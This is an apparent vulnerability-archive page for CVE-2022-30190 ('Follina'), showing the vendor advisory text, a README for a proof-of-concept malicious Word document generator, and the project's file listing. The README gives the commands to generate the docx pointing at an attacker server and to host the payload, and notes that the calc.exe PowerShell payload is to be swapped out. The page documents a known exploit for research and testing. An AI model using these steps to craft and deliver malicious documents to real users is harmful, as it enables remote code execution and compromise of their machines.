Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-30190 PoC — Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability

Source
Associated Vulnerability
Title:Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability (CVE-2022-30190)
Description:A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Please see the MSRC Blog Entry for important information about steps you can take to protect your system from this vulnerability.
Description
MS-MSDT Follina CVE-2022-30190 PoC document generator
Readme
# MS-MSDT Follina CVE-2022-30190 PoC

Malicious docx generator to exploit  (Microsoft Office Word Remote Code Execution)

Creation of this Script is based on [CVE-2021-40444 PoC by LockedByte](https://github.com/lockedbyte/CVE-2021-40444) and [writeup by Tothi](https://gist.github.com/tothi/66290a42896a97920055e50128c9f040)

# Using

First modify backup.html and replace powershell payload. Right now just pops a `calc.exe` using `IEX('calc.exe')`.

`python3 exploit.py generate http://<SRV IP>`

![Document generation](./img/gen.png)

Once you generate the malicious docx (will be at `out/`) you can setup the server:

`sudo python3 exploit.py host 80`

![Server](./img/srv.png)

Finally try the docx in a Windows Virtual Machine:

![Pop Calc](./img/calc.png)
File Snapshot

[4.0K] /data/pocs/1e962f54cc69df09afe70623fec7259d5041fda3 ├── [4.0K] data │   └── [4.0K] word_dat │   ├── [1.4K] [Content_Types].xml │   ├── [4.0K] docProps │   │   ├── [ 733] app.xml │   │   └── [ 745] core.xml │   ├── [4.0K] _rels │   └── [4.0K] word │   ├── [ 14K] document.xml │   ├── [2.3K] fontTable.xml │   ├── [4.0K] _rels │   │   └── [1.2K] document.xml.rels │   ├── [2.6K] settings.xml │   ├── [ 32K] styles.xml │   ├── [4.0K] theme │   │   └── [6.9K] theme1.xml │   └── [ 603] webSettings.xml ├── [2.2K] exploit.py ├── [4.0K] img │   ├── [ 46K] calc.png │   ├── [ 82K] gen.png │   └── [186K] srv.png ├── [4.0K] out │   └── [ 1] 0-blank ├── [ 763] README.md └── [4.0K] srv ├── [4.5K] backup.html └── [ 11K] index.html 10 directories, 18 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →